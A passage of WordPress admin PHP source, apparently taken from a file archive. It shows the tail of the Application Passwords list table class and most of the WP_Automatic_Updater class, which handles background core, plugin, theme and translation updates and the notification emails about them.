	/**
	 * Generates content for a single row of the table.
	 *
	 * @since 5.6.0
	 *
	 * @param array $item The current item.
	 */
	public function single_row( $item ) {
		echo '<tr data-uuid="' . esc_attr( $item['uuid'] ) . '">';
		$this->single_row_columns( $item );
		echo '</tr>';
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 5.6.0
	 *
	 * @return string Name of the default primary column, in this case, 'name'.
	 */
	protected function get_default_primary_column_name() {
		return 'name';
	}

	/**
	 * Prints the JavaScript template for the new row item.
	 *
	 * @since 5.6.0
	 */
	public function print_js_template_row() {
		list( $columns, $hidden, , $primary ) = $this->get_column_info();

		echo '<tr data-uuid="{{ data.uuid }}">';

		foreach ( $columns as $column_name => $display_name ) {
			$is_primary = $primary === $column_name;
			$classes    = "{$column_name} column-{$column_name}";

			if ( $is_primary ) {
				$classes .= ' has-row-actions column-primary';
			}

			if ( in_array( $column_name, $hidden, true ) ) {
				$classes .= ' hidden';
			}

			printf( '<td class="%s" data-colname="%s">', esc_attr( $classes ), esc_attr( wp_strip_all_tags( $display_name ) ) );

			switch ( $column_name ) {
				case 'name':
					echo '{{ data.name }}';
					break;
				case 'created':
					// JSON encoding automatically doubles backslashes to ensure they don't get lost when printing the inline JS.
					echo '<# print( wp.date.dateI18n( ' . wp_json_encode( __( 'F j, Y' ) ) . ', data.created ) ) #>';
					break;
				case 'last_used':
					echo '<# print( data.last_used !== null ? wp.date.dateI18n( ' . wp_json_encode( __( 'F j, Y' ) ) . ", data.last_used ) : '—' ) #>";
					break;
				case 'last_ip':
					echo "{{ data.last_ip || '—' }}";
					break;
				case 'revoke':
					printf(
						'<button type="button" class="button delete" aria-label="%1$s">%2$s</button>',
						/* translators: %s: the application password's given name. */
						esc_attr( sprintf( __( 'Revoke "%s"' ), '{{ data.name }}' ) ),
						esc_html__( 'Revoke' )
					);
					break;
				default:
					/**
					 * Fires in the JavaScript row template for each custom column in the Application Passwords list table.
					 *
					 * Custom columns are registered using the {@see 'manage_application-passwords-user_columns'} filter.
					 *
					 * @since 5.6.0
					 *
					 * @param string $column_name Name of the custom column.
					 */
					do_action( "manage_{$this->screen->id}_custom_column_js_template", $column_name );
					break;
			}

			if ( $is_primary ) {
				echo '<button type="button" class="toggle-row"><span class="screen-reader-text">' .
					/* translators: Hidden accessibility text. */
					__( 'Show more details' ) .
				'</span></button>';
			}

			echo '</td>';
		}

		echo '</tr>';
	}
}
class-wp-automatic-updater.php000064400000147455150275632050012461 0ustar00<?php
/**
 * Upgrade API: WP_Automatic_Updater class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for handling automatic background updates.
 *
 * @since 3.7.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 */
#[AllowDynamicProperties]
class WP_Automatic_Updater {

	/**
	 * Tracks update results during processing.
	 *
	 * @var array
	 */
	protected $update_results = array();

	/**
	 * Determines whether the entire automatic updater is disabled.
	 *
	 * @since 3.7.0
	 *
	 * @return bool True if the automatic updater is disabled, false otherwise.
	 */
	public function is_disabled() {
		// Background updates are disabled if you don't want file changes.
		if ( ! wp_is_file_mod_allowed( 'automatic_updater' ) ) {
			return true;
		}

		if ( wp_installing() ) {
			return true;
		}

		// More fine grained control can be done through the WP_AUTO_UPDATE_CORE constant and filters.
		$disabled = defined( 'AUTOMATIC_UPDATER_DISABLED' ) && AUTOMATIC_UPDATER_DISABLED;

		/**
		 * Filters whether to entirely disable background updates.
		 *
		 * There are more fine-grained filters and controls for selective disabling.
		 * This filter parallels the AUTOMATIC_UPDATER_DISABLED constant in name.
		 *
		 * This also disables update notification emails. That may change in the future.
		 *
		 * @since 3.7.0
		 *
		 * @param bool $disabled Whether the updater should be disabled.
		 */
		return apply_filters( 'automatic_updater_disabled', $disabled );
	}

	/**
	 * Checks whether access to a given directory is allowed.
	 *
	 * This is used when detecting version control checkouts. Takes into account
	 * the PHP `open_basedir` restrictions, so that WordPress does not try to access
	 * directories it is not allowed to.
	 *
	 * @since 6.2.0
	 *
	 * @param string $dir The directory to check.
	 * @return bool True if access to the directory is allowed, false otherwise.
	 */
	public function is_allowed_dir( $dir ) {
		if ( is_string( $dir ) ) {
			$dir = trim( $dir );
		}

		if ( ! is_string( $dir ) || '' === $dir ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: The "$dir" argument. */
					__( 'The "%s" argument must be a non-empty string.' ),
					'$dir'
				),
				'6.2.0'
			);

			return false;
		}

		$open_basedir = ini_get( 'open_basedir' );

		if ( empty( $open_basedir ) ) {
			return true;
		}

		$open_basedir_list = explode( PATH_SEPARATOR, $open_basedir );

		foreach ( $open_basedir_list as $basedir ) {
			if ( '' !== trim( $basedir ) && str_starts_with( $dir, $basedir ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Checks for version control checkouts.
	 *
	 * Checks for Subversion, Git, Mercurial, and Bazaar. It recursively looks up the
	 * filesystem to the top of the drive, erring on the side of detecting a VCS
	 * checkout somewhere.
	 *
	 * ABSPATH is always checked in addition to whatever `$context` is (which may be the
	 * wp-content directory, for example). The underlying assumption is that if you are
	 * using version control *anywhere*, then you should be making decisions for
	 * how things get updated.
	 *
	 * @since 3.7.0
	 *
	 * @param string $context The filesystem path to check, in addition to ABSPATH.
	 * @return bool True if a VCS checkout was discovered at `$context` or ABSPATH,
	 *              or anywhere higher. False otherwise.
	 */
	public function is_vcs_checkout( $context ) {
		$context_dirs = array( untrailingslashit( $context ) );
		if ( ABSPATH !== $context ) {
			$context_dirs[] = untrailingslashit( ABSPATH );
		}

		$vcs_dirs   = array( '.svn', '.git', '.hg', '.bzr' );
		$check_dirs = array();

		foreach ( $context_dirs as $context_dir ) {
			// Walk up from $context_dir to the root.
			do {
				$check_dirs[] = $context_dir;

				// Once we've hit '/' or 'C:\', we need to stop. dirname will keep returning the input here.
				if ( dirname( $context_dir ) === $context_dir ) {
					break;
				}

				// Continue one level at a time.
			} while ( $context_dir = dirname( $context_dir ) );
		}

		$check_dirs = array_unique( $check_dirs );
		$checkout   = false;

		// Search all directories we've found for evidence of version control.
		foreach ( $vcs_dirs as $vcs_dir ) {
			foreach ( $check_dirs as $check_dir ) {
				if ( ! $this->is_allowed_dir( $check_dir ) ) {
					continue;
				}

				$checkout = is_dir( rtrim( $check_dir, '\\/' ) . "/$vcs_dir" );
				if ( $checkout ) {
					break 2;
				}
			}
		}

		/**
		 * Filters whether the automatic updater should consider a filesystem
		 * location to be potentially managed by a version control system.
		 *
		 * @since 3.7.0
		 *
		 * @param bool $checkout  Whether a VCS checkout was discovered at `$context`
		 *                        or ABSPATH, or anywhere higher.
		 * @param string $context The filesystem context (a path) against which
		 *                        filesystem status should be checked.
		 */
		return apply_filters( 'automatic_updates_is_vcs_checkout', $checkout, $context );
	}

	/**
	 * Tests to see if we can and should update a specific item.
	 *
	 * @since 3.7.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $type    The type of update being checked: 'core', 'theme',
	 *                        'plugin', 'translation'.
	 * @param object $item    The update offer.
	 * @param string $context The filesystem context (a path) against which filesystem
	 *                        access and status should be checked.
	 * @return bool True if the item should be updated, false otherwise.
	 */
	public function should_update( $type, $item, $context ) {
		// Used to see if WP_Filesystem is set up to allow unattended updates.
		$skin = new Automatic_Upgrader_Skin();

		if ( $this->is_disabled() ) {
			return false;
		}

		// Only relax the filesystem checks when the update doesn't include new files.
		$allow_relaxed_file_ownership = false;
		if ( 'core' === $type && isset( $item->new_files ) && ! $item->new_files ) {
			$allow_relaxed_file_ownership = true;
		}

		// If we can't do an auto core update, we may still be able to email the user.
		if ( ! $skin->request_filesystem_credentials( false, $context, $allow_relaxed_file_ownership )
			|| $this->is_vcs_checkout( $context )
		) {
			if ( 'core' === $type ) {
				$this->send_core_update_notification_email( $item );
			}
			return false;
		}

		// Next up, is this an item we can update?
		if ( 'core' === $type ) {
			$update = Core_Upgrader::should_update_to_version( $item->current );
		} elseif ( 'plugin' === $type || 'theme' === $type ) {
			$update = ! empty( $item->autoupdate );

			if ( ! $update && wp_is_auto_update_enabled_for_type( $type ) ) {
				// Check if the site admin has enabled auto-updates by default for the specific item.
				$auto_updates = (array) get_site_option( "auto_update_{$type}s", array() );
				$update       = in_array( $item->{$type}, $auto_updates, true );
			}
		} else {
			$update = ! empty( $item->autoupdate );
		}

		// If the `disable_autoupdate` flag is set, override any user-choice, but allow filters.
		if ( ! empty( $item->disable_autoupdate ) ) {
			$update = $item->disable_autoupdate;
		}

		/**
		 * Filters whether to automatically update core, a plugin, a theme, or a language.
		 *
		 * The dynamic portion of the hook name, `$type`, refers to the type of update
		 * being checked.
		 *
		 * Possible hook names include:
		 *
		 *  - `auto_update_core`
		 *  - `auto_update_plugin`
		 *  - `auto_update_theme`
		 *  - `auto_update_translation`
		 *
		 * Since WordPress 3.7, minor and development versions of core, and translations have
		 * been auto-updated by default. New installs on WordPress 5.6 or higher will also
		 * auto-update major versions by default. Starting in 5.6, older sites can opt-in to
		 * major version auto-updates, and auto-updates for plugins and themes.
		 *
		 * See the {@see 'allow_dev_auto_core_updates'}, {@see 'allow_minor_auto_core_updates'},
		 * and {@see 'allow_major_auto_core_updates'} filters for a more straightforward way to
		 * adjust core updates.
		 *
		 * @since 3.7.0
		 * @since 5.5.0 The `$update` parameter accepts the value of null.
		 *
		 * @param bool|null $update Whether to update. The value of null is internally used
		 *                          to detect whether nothing has hooked into this filter.
		 * @param object    $item   The update offer.
		 */
		$update = apply_filters( "auto_update_{$type}", $update, $item );

		if ( ! $update ) {
			if ( 'core' === $type ) {
				$this->send_core_update_notification_email( $item );
			}
			return false;
		}

		// If it's a core update, are we actually compatible with its requirements?
		if ( 'core' === $type ) {
			global $wpdb;

			$php_compat = version_compare( PHP_VERSION, $item->php_version, '>=' );
			if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) ) {
				$mysql_compat = true;
			} else {
				$mysql_compat = version_compare( $wpdb->db_version(), $item->mysql_version, '>=' );
			}

			if ( ! $php_compat || ! $mysql_compat ) {
				return false;
			}
		}

		// If updating a plugin or theme, ensure the minimum PHP version requirements are satisfied.
		if ( in_array( $type, array( 'plugin', 'theme' ), true ) ) {
			if ( ! empty( $item->requires_php ) && version_compare( PHP_VERSION, $item->requires_php, '<' ) ) {
				return false;
			}
		}

		return true;
	}

	/**
	 * Notifies an administrator of a core update.
	 *
	 * @since 3.7.0
	 *
	 * @param object $item The update offer.
	 * @return bool True if the site administrator is notified of a core update,
	 *              false otherwise.
	 */
	protected function send_core_update_notification_email( $item ) {
		$notified = get_site_option( 'auto_core_update_notified' );

		// Don't notify if we've already notified the same email address of the same version.
		if ( $notified
			&& get_site_option( 'admin_email' ) === $notified['email']
			&& $notified['version'] === $item->current
		) {
			return false;
		}

		// See if we need to notify users of a core update.
		$notify = ! empty( $item->notify_email );

		/**
		 * Filters whether to notify the site administrator of a new core update.
		 *
		 * By default, administrators are notified when the update offer received
		 * from WordPress.org sets a particular flag. This allows some discretion
		 * in if and when to notify.
		 *
		 * This filter is only evaluated once per release. If the same email address
		 * was already notified of the same new version, WordPress won't repeatedly
		 * email the administrator.
		 *
		 * This filter is also used on about.php to check if a plugin has disabled
		 * these notifications.
		 *
		 * @since 3.7.0
		 *
		 * @param bool   $notify Whether the site administrator is notified.
		 * @param object $item   The update offer.
		 */
		if ( ! apply_filters( 'send_core_update_notification_email', $notify, $item ) ) {
			return false;
		}

		$this->send_email( 'manual', $item );
		return true;
	}

	/**
	 * Updates an item, if appropriate.
	 *
	 * @since 3.7.0
	 *
	 * @param string $type The type of update being checked: 'core', 'theme', 'plugin', 'translation'.
	 * @param object $item The update offer.
	 * @return null|WP_Error
	 */
	public function update( $type, $item ) {
		$skin = new Automatic_Upgrader_Skin();

		switch ( $type ) {
			case 'core':
				// The Core upgrader doesn't use the Upgrader's skin during the actual main part of the upgrade, instead, firing a filter.
				add_filter( 'update_feedback', array( $skin, 'feedback' ) );
				$upgrader = new Core_Upgrader( $skin );
				$context  = ABSPATH;
				break;
			case 'plugin':
				$upgrader = new Plugin_Upgrader( $skin );
				$context  = WP_PLUGIN_DIR; // We don't support custom Plugin directories, or updates for WPMU_PLUGIN_DIR.
				break;
			case 'theme':
				$upgrader = new Theme_Upgrader( $skin );
				$context  = get_theme_root( $item->theme );
				break;
			case 'translation':
				$upgrader = new Language_Pack_Upgrader( $skin );
				$context  = WP_CONTENT_DIR; // WP_LANG_DIR;
				break;
		}

		// Determine whether we can and should perform this update.
		if ( ! $this->should_update( $type, $item, $context ) ) {
			return false;
		}

		/**
		 * Fires immediately prior to an auto-update.
		 *
		 * @since 4.4.0
		 *
		 * @param string $type    The type of update being checked: 'core', 'theme', 'plugin', or 'translation'.
		 * @param object $item    The update offer.
		 * @param string $context The filesystem context (a path) against which filesystem access and status
		 *                        should be checked.
		 */
		do_action( 'pre_auto_update', $type, $item, $context );

		$upgrader_item = $item;
		switch ( $type ) {
			case 'core':
				/* translators: %s: WordPress version. */
				$skin->feedback( __( 'Updating to WordPress %s' ), $item->version );
				/* translators: %s: WordPress version. */
				$item_name = sprintf( __( 'WordPress %s' ), $item->version );
				break;
			case 'theme':
				$upgrader_item = $item->theme;
				$theme         = wp_get_theme( $upgrader_item );
				$item_name     = $theme->Get( 'Name' );
				// Add the current version so that it can be reported in the notification email.
				$item->current_version = $theme->get( 'Version' );
				if ( empty( $item->current_version ) ) {
					$item->current_version = false;
				}
				/* translators: %s: Theme name. */
				$skin->feedback( __( 'Updating theme: %s' ), $item_name );
				break;
			case 'plugin':
				$upgrader_item = $item->plugin;
				$plugin_data   = get_plugin_data( $context . '/' . $upgrader_item );
				$item_name     = $plugin_data['Name'];
				// Add the current version so that it can be reported in the notification email.
				$item->current_version = $plugin_data['Version'];
				if ( empty( $item->current_version ) ) {
					$item->current_version = false;
				}
				/* translators: %s: Plugin name. */
				$skin->feedback( __( 'Updating plugin: %s' ), $item_name );
				break;
			case 'translation':
				$language_item_name = $upgrader->get_name_for_update( $item );
				/* translators: %s: Project name (plugin, theme, or WordPress). */
				$item_name = sprintf( __( 'Translations for %s' ), $language_item_name );
				/* translators: 1: Project name (plugin, theme, or WordPress), 2: Language. */
				$skin->feedback( sprintf( __( 'Updating translations for %1$s (%2$s)&#8230;' ), $language_item_name, $item->language ) );
				break;
		}

		$allow_relaxed_file_ownership = false;
		if ( 'core' === $type && isset( $item->new_files ) && ! $item->new_files ) {
			$allow_relaxed_file_ownership = true;
		}

		// Boom, this site's about to get a whole new splash of paint!
		$upgrade_result = $upgrader->upgrade(
			$upgrader_item,
			array(
				'clear_update_cache'           => false,
				// Always use partial builds if possible for core updates.
				'pre_check_md5'                => false,
				// Only available for core updates.
				'attempt_rollback'             => true,
				// Allow relaxed file ownership in some scenarios.
				'allow_relaxed_file_ownership' => $allow_relaxed_file_ownership,
			)
		);

		// If the filesystem is unavailable, false is returned.
		if ( false === $upgrade_result ) {
			$upgrade_result = new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) );
		}

		if ( 'core' === $type ) {
			if ( is_wp_error( $upgrade_result )
				&& ( 'up_to_date' === $upgrade_result->get_error_code()
					|| 'locked' === $upgrade_result->get_error_code() )
			) {
				/*
				 * These aren't actual errors, treat it as a skipped-update instead
				 * to avoid triggering the post-core update failure routines.
				 */
				return false;
			}

			// Core doesn't output this, so let's append it, so we don't get confused.
			if ( is_wp_error( $upgrade_result ) ) {
				$upgrade_result->add( 'installation_failed', __( 'Installation failed.' ) );
				$skin->error( $upgrade_result );
			} else {
				$skin->feedback( __( 'WordPress updated successfully.' ) );
			}
		}

		$this->update_results[ $type ][] = (object) array(
			'item'     => $item,
			'result'   => $upgrade_result,
			'name'     => $item_name,
			'messages' => $skin->get_upgrade_messages(),
		);

		return $upgrade_result;
	}

	/**
	 * Kicks off the background update process, looping through all pending updates.
	 *
	 * @since 3.7.0
	 */
	public function run() {
		if ( $this->is_disabled() ) {
			return;
		}

		if ( ! is_main_network() || ! is_main_site() ) {
			return;
		}

		if ( ! WP_Upgrader::create_lock( 'auto_updater' ) ) {
			return;
		}

		// Don't automatically run these things, as we'll handle it ourselves.
		remove_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 );
		remove_action( 'upgrader_process_complete', 'wp_version_check' );
		remove_action( 'upgrader_process_complete', 'wp_update_plugins' );
		remove_action( 'upgrader_process_complete', 'wp_update_themes' );

		// Next, plugins.
		wp_update_plugins(); // Check for plugin updates.
		$plugin_updates = get_site_transient( 'update_plugins' );
		if ( $plugin_updates && ! empty( $plugin_updates->response ) ) {
			foreach ( $plugin_updates->response as $plugin ) {
				$this->update( 'plugin', $plugin );
			}
			// Force refresh of plugin update information.
			wp_clean_plugins_cache();
		}

		// Next, those themes we all love.
		wp_update_themes();  // Check for theme updates.
		$theme_updates = get_site_transient( 'update_themes' );
		if ( $theme_updates && ! empty( $theme_updates->response ) ) {
			foreach ( $theme_updates->response as $theme ) {
				$this->update( 'theme', (object) $theme );
			}
			// Force refresh of theme update information.
			wp_clean_themes_cache();
		}

		// Next, process any core update.
		wp_version_check(); // Check for core updates.
		$core_update = find_core_auto_update();

		if ( $core_update ) {
			$this->update( 'core', $core_update );
		}

		/*
		 * Clean up, and check for any pending translations.
		 * (Core_Upgrader checks for core updates.)
		 */
		$theme_stats = array();
		if ( isset( $this->update_results['theme'] ) ) {
			foreach ( $this->update_results['theme'] as $upgrade ) {
				$theme_stats[ $upgrade->item->theme ] = ( true === $upgrade->result );
			}
		}
		wp_update_themes( $theme_stats ); // Check for theme updates.

		$plugin_stats = array();
		if ( isset( $this->update_results['plugin'] ) ) {
			foreach ( $this->update_results['plugin'] as $upgrade ) {
				$plugin_stats[ $upgrade->item->plugin ] = ( true === $upgrade->result );
			}
		}
		wp_update_plugins( $plugin_stats ); // Check for plugin updates.

		// Finally, process any new translations.
		$language_updates = wp_get_translation_updates();
		if ( $language_updates ) {
			foreach ( $language_updates as $update ) {
				$this->update( 'translation', $update );
			}

			// Clear existing caches.
			wp_clean_update_cache();

			wp_version_check();  // Check for core updates.
			wp_update_themes();  // Check for theme updates.
			wp_update_plugins(); // Check for plugin updates.
		}

		// Send debugging email to admin for all development installations.
		if ( ! empty( $this->update_results ) ) {
			$development_version = str_contains( get_bloginfo( 'version' ), '-' );

			/**
			 * Filters whether to send a debugging email for each automatic background update.
			 *
			 * @since 3.7.0
			 *
			 * @param bool $development_version By default, emails are sent if the
			 *                                  install is a development version.
			 *                                  Return false to avoid the email.
			 */
			if ( apply_filters( 'automatic_updates_send_debug_email', $development_version ) ) {
				$this->send_debug_email();
			}

			if ( ! empty( $this->update_results['core'] ) ) {
				$this->after_core_update( $this->update_results['core'][0] );
			} elseif ( ! empty( $this->update_results['plugin'] ) || ! empty( $this->update_results['theme'] ) ) {
				$this->after_plugin_theme_update( $this->update_results );
			}

			/**
			 * Fires after all automatic updates have run.
			 *
			 * @since 3.8.0
			 *
			 * @param array $update_results The results of all attempted updates.
			 */
			do_action( 'automatic_updates_complete', $this->update_results );
		}

		WP_Upgrader::release_lock( 'auto_updater' );
	}

	/**
	 * Checks whether to send an email and avoid processing future updates after
	 * attempting a core update.
	 *
	 * @since 3.7.0
	 *
	 * @param object $update_result The result of the core update. Includes the update offer and result.
	 */
	protected function after_core_update( $update_result ) {
		$wp_version = get_bloginfo( 'version' );

		$core_update = $update_result->item;
		$result      = $update_result->result;

		if ( ! is_wp_error( $result ) ) {
			$this->send_email( 'success', $core_update );
			return;
		}

		$error_code = $result->get_error_code();

		/*
		 * Any of these WP_Error codes are critical failures, as in they occurred after we started to copy core files.
		 * We should not try to perform a background update again until there is a successful one-click update performed by the user.
		 */
		$critical = false;
		if ( 'disk_full' === $error_code || str_contains( $error_code, '__copy_dir' ) ) {
			$critical = true;
		} elseif ( 'rollback_was_required' === $error_code && is_wp_error( $result->get_error_data()->rollback ) ) {
			// A rollback is only critical if it failed too.
			$critical        = true;
			$rollback_result = $result->get_error_data()->rollback;
		} elseif ( str_contains( $error_code, 'do_rollback' ) ) {
			$critical = true;
		}

		if ( $critical ) {
			$critical_data = array(
				'attempted'  => $core_update->current,
				'current'    => $wp_version,
				'error_code' => $error_code,
				'error_data' => $result->get_error_data(),
				'timestamp'  => time(),
				'critical'   => true,
			);
			if ( isset( $rollback_result ) ) {
				$critical_data['rollback_code'] = $rollback_result->get_error_code();
				$critical_data['rollback_data'] = $rollback_result->get_error_data();
			}
			update_site_option( 'auto_core_update_failed', $critical_data );
			$this->send_email( 'critical', $core_update, $result );
			return;
		}

		/*
		 * Any other WP_Error code (like download_failed or files_not_writable) occurs before
		 * we tried to copy over core files. Thus, the failures are early and graceful.
		 *
		 * We should avoid trying to perform a background update again for the same version.
		 * But we can try again if another version is released.
		 *
		 * For certain 'transient' failures, like download_failed, we should allow retries.
		 * In fact, let's schedule a special update for an hour from now. (It's possible
		 * the issue could actually be on WordPress.org's side.) If that one fails, then email.
		 */
		$send               = true;
		$transient_failures = array( 'incompatible_archive', 'download_failed', 'insane_distro', 'locked' );
		if ( in_array( $error_code, $transient_failures, true ) && ! get_site_option( 'auto_core_update_failed' ) ) {
			wp_schedule_single_event( time() + HOUR_IN_SECONDS, 'wp_maybe_auto_update' );
			$send = false;
		}

		$notified = get_site_option( 'auto_core_update_notified' );

		// Don't notify if we've already notified the same email address of the same version of the same notification type.
		if ( $notified
			&& 'fail' === $notified['type']
			&& get_site_option( 'admin_email' ) === $notified['email']
			&& $notified['version'] === $core_update->current
		) {
			$send = false;
		}

		update_site_option(
			'auto_core_update_failed',
			array(
				'attempted'  => $core_update->current,
				'current'    => $wp_version,
				'error_code' => $error_code,
				'error_data' => $result->get_error_data(),
				'timestamp'  => time(),
				'retry'      => in_array( $error_code, $transient_failures, true ),
			)
		);

		if ( $send ) {
			$this->send_email( 'fail', $core_update, $result );
		}
	}

	/**
	 * Sends an email upon the completion or failure of a background core update.
	 *
	 * @since 3.7.0
	 *
	 * @param string $type        The type of email to send. Can be one of 'success', 'fail', 'manual', 'critical'.
	 * @param object $core_update The update offer that was attempted.
	 * @param mixed  $result      Optional. The result for the core update. Can be WP_Error.
	 */
	protected function send_email( $type, $core_update, $result = null ) {
		update_site_option(
			'auto_core_update_notified',
			array(
				'type'      => $type,
				'email'     => get_site_option( 'admin_email' ),
				'version'   => $core_update->current,
				'timestamp' => time(),
			)
		);

		$next_user_core_update = get_preferred_from_update_core();

		// If the update transient is empty, use the update we just performed.
		if ( ! $next_user_core_update ) {
			$next_user_core_update = $core_update;
		}

		if ( 'upgrade' === $next_user_core_update->response
			&& version_compare( $next_user_core_update->version, $core_update->version, '>' )
		) {
			$newer_version_available = true;
		} else {
			$newer_version_available = false;
		}

		/**
		 * Filters whether to send an email following an automatic background core update.
		 *
		 * @since 3.7.0
		 *
		 * @param bool   $send        Whether to send the email. Default true.
		 * @param string $type        The type of email to send. Can be one of
		 *                            'success', 'fail', 'critical'.
		 * @param object $core_update The update offer that was attempted.
		 * @param mixed  $result      The result for the core update. Can be WP_Error.
		 */
		if ( 'manual' !== $type && ! apply_filters( 'auto_core_update_send_email', true, $type, $core_update, $result ) ) {
			return;
		}

		switch ( $type ) {
			case 'success': // We updated.
				/* translators: Site updated notification email subject. 1: Site title, 2: WordPress version. */
				$subject = __( '[%1$s] Your site has updated to WordPress %2$s' );
				break;

			case 'fail':   // We tried to update but couldn't.
			case 'manual': // We can't update (and made no attempt).
				/* translators: Update available notification email subject. 1: Site title, 2: WordPress version. */
				$subject = __( '[%1$s] WordPress %2$s is available. Please update!' );
				break;

			case 'critical': // We tried to update, started to copy files, then things went wrong.
				/* translators: Site down notification email subject. 1: Site title. */
				$subject = __( '[%1$s] URGENT: Your site may be down due to a failed update' );
				break;

			default:
				return;
		}

		// If the auto-update is not to the latest version, say that the current version of WP is available instead.
		$version = 'success' === $type ? $core_update->current : $next_user_core_update->current;
		$subject = sprintf( $subject, wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ), $version );

		$body = '';

		switch ( $type ) {
			case 'success':
				$body .= sprintf(
					/* translators: 1: Home URL, 2: WordPress version. */
					__( 'Howdy! Your site at %1$s has been updated automatically to WordPress %2$s.' ),
					home_url(),
					$core_update->current
				);
				$body .= "\n\n";
				if ( ! $newer_version_available ) {
					$body .= __( 'No further action is needed on your part.' ) . ' ';
				}

				// Can only reference the About screen if their update was successful.
				list( $about_version ) = explode( '-', $core_update->current, 2 );
				/* translators: %s: WordPress version. */
				$body .= sprintf( __( 'For more on version %s, see the About WordPress screen:' ), $about_version );
				$body .= "\n" . admin_url( 'about.php' );

				if ( $newer_version_available ) {
					/* translators: %s: WordPress latest version. */
					$body .= "\n\n" . sprintf( __( 'WordPress %s is also now available.' ), $next_user_core_update->current ) . ' ';
					$body .= __( 'Updating is easy and only takes a few moments:' );
					$body .= "\n" . network_admin_url( 'update-core.php' );
				}

				break;

			case 'fail':
			case 'manual':
				$body .= sprintf(
					/* translators: 1: Home URL, 2: WordPress version. */
					__( 'Please update your site at %1$s to WordPress %2$s.' ),
					home_url(),
					$next_user_core_update->current
				);

				$body .= "\n\n";

				/*
				 * Don't show this message if there is a newer version available.
				 * Potential for confusion, and also not useful for them to know at this point.
				 */
				if ( 'fail' === $type && ! $newer_version_available ) {
					$body .= __( 'An attempt was made, but your site could not be updated automatically.' ) . ' ';
				}

				$body .= __( 'Updating is easy and only takes a few moments:' );
				$body .= "\n" . network_admin_url( 'update-core.php' );
				break;

			case 'critical':
				if ( $newer_version_available ) {
					$body .= sprintf(
						/* translators: 1: Home URL, 2: WordPress version. */
						__( 'Your site at %1$s experienced a critical failure while trying to update WordPress to version %2$s.' ),
						home_url(),
						$core_update->current
					);
				} else {
					$body .= sprintf(
						/* translators: 1: Home URL, 2: WordPress latest version. */
						__( 'Your site at %1$s experienced a critical failure while trying to update to the latest version of WordPress, %2$s.' ),
						home_url(),
						$core_update->current
					);
				}

				$body .= "\n\n" . __( "This means your site may be offline or broken. Don't panic; this can be fixed." );

				$body .= "\n\n" . __( "Please check out your site now. It's possible that everything is working. If it says you need to update, you should do so:" );
				$body .= "\n" . network_admin_url( 'update-core.php' );
				break;
		}

		$critical_support = 'critical' === $type && ! empty( $core_update->support_email );
		if ( $critical_support ) {
			// Support offer if available.
			$body .= "\n\n" . sprintf(
				/* translators: %s: Support email address. */
				__( 'The WordPress team is willing to help you. Forward this email to %s and the team will work with you to make sure your site is working.' ),
				$core_update->support_email
			);
		} else {
			// Add a note about the support forums.
			$body .= "\n\n" . __( 'If you experience any issues or need support, the volunteers in the WordPress.org support forums may be able to help.' );
			$body .= "\n" . __( 'https://wordpress.org/support/forums/' );
		}

		// Updates are important!
		if ( 'success' !== $type || $newer_version_available ) {
			$body .= "\n\n" . __( 'Keeping your site updated is important for security. It also makes the internet a safer place for you and your readers.' );
		}

		if ( $critical_support ) {
			$body .= ' ' . __( "Reach out to WordPress Core developers to ensure you'll never have this problem again." );
		}

		// If things are successful and we're now on the latest, mention plugins and themes if any are out of date.
		if ( 'success' === $type && ! $newer_version_available && ( get_plugin_updates() || get_theme_updates() ) ) {
			$body .= "\n\n" . __( 'You also have some plugins or themes with updates available. Update them now:' );
			$body .= "\n" . network_admin_url();
		}

		$body .= "\n\n" . __( 'The WordPress Team' ) . "\n";

		if ( 'critical' === $type && is_wp_error( $result ) ) {
			$body .= "\n***\n\n";
			/* translators: %s: WordPress version. */
			$body .= sprintf( __( 'Your site was running version %s.' ), get_bloginfo( 'version' ) );
			$body .= ' ' . __( 'Some data that describes the error your site encountered has been put together.' );
			$body .= ' ' . __( 'Your hosting company, support forum volunteers, or a friendly developer may be able to use this information to help you:' );

			/*
			 * If we had a rollback and we're still critical, then the rollback failed too.
			 * Loop through all errors (the main WP_Error, the update result, the rollback result) for code, data, etc.
			 */
			if ( 'rollback_was_required' === $result->get_error_code() ) {
				$errors = array( $result, $result->get_error_data()->update, $result->get_error_data()->rollback );
			} else {
				$errors = array( $result );
			}

			foreach ( $errors as $error ) {
				if ( ! is_wp_error( $error ) ) {
					continue;
				}

				$error_code = $error->get_error_code();
				/* translators: %s: Error code. */
				$body .= "\n\n" . sprintf( __( 'Error code: %s' ), $error_code );

				if ( 'rollback_was_required' === $error_code ) {
					continue;
				}

				if ( $error->get_error_message() ) {
					$body .= "\n" . $error->get_error_message();
				}

				$error_data = $error->get_error_data();
				if ( $error_data ) {
					$body .= "\n" . implode( ', ', (array) $error_data );
				}
			}

			$body .= "\n";
		}

		$to      = get_site_option( 'admin_email' );
		$headers = '';

		$email = compact( 'to', 'subject', 'body', 'headers' );

		/**
		 * Filters the email sent following an automatic background core update.
		 *
		 * @since 3.7.0
		 *
		 * @param array $email {
		 *     Array of email arguments that will be passed to wp_mail().
		 *
		 *     @type string $to      The email recipient. An array of emails
		 *                            can be returned, as handled by wp_mail().
		 *     @type string $subject The email's subject.
		 *     @type string $body    The email message body.
		 *     @type string $headers Any email headers, defaults to no headers.
		 * }
		 * @param string $type        The type of email being sent. Can be one of
		 *                            'success', 'fail', 'manual', 'critical'.
		 * @param object $core_update The update offer that was attempted.
		 * @param mixed  $result      The result for the core update. Can be WP_Error.
		 */
		$email = apply_filters( 'auto_core_update_email', $email, $type, $core_update, $result );

		wp_mail( $email['to'], wp_specialchars_decode( $email['subject'] ), $email['body'], $email['headers'] );
	}


	/**
	 * Checks whether an email should be sent after attempting plugin or theme updates.
	 *
	 * @since 5.5.0
	 *
	 * @param array $update_results The results of update tasks.
	 */
	protected function after_plugin_theme_update( $update_results ) {
		$successful_updates = array();
		$failed_updates     = array();

		if ( ! empty( $update_results['plugin'] ) ) {
			/**
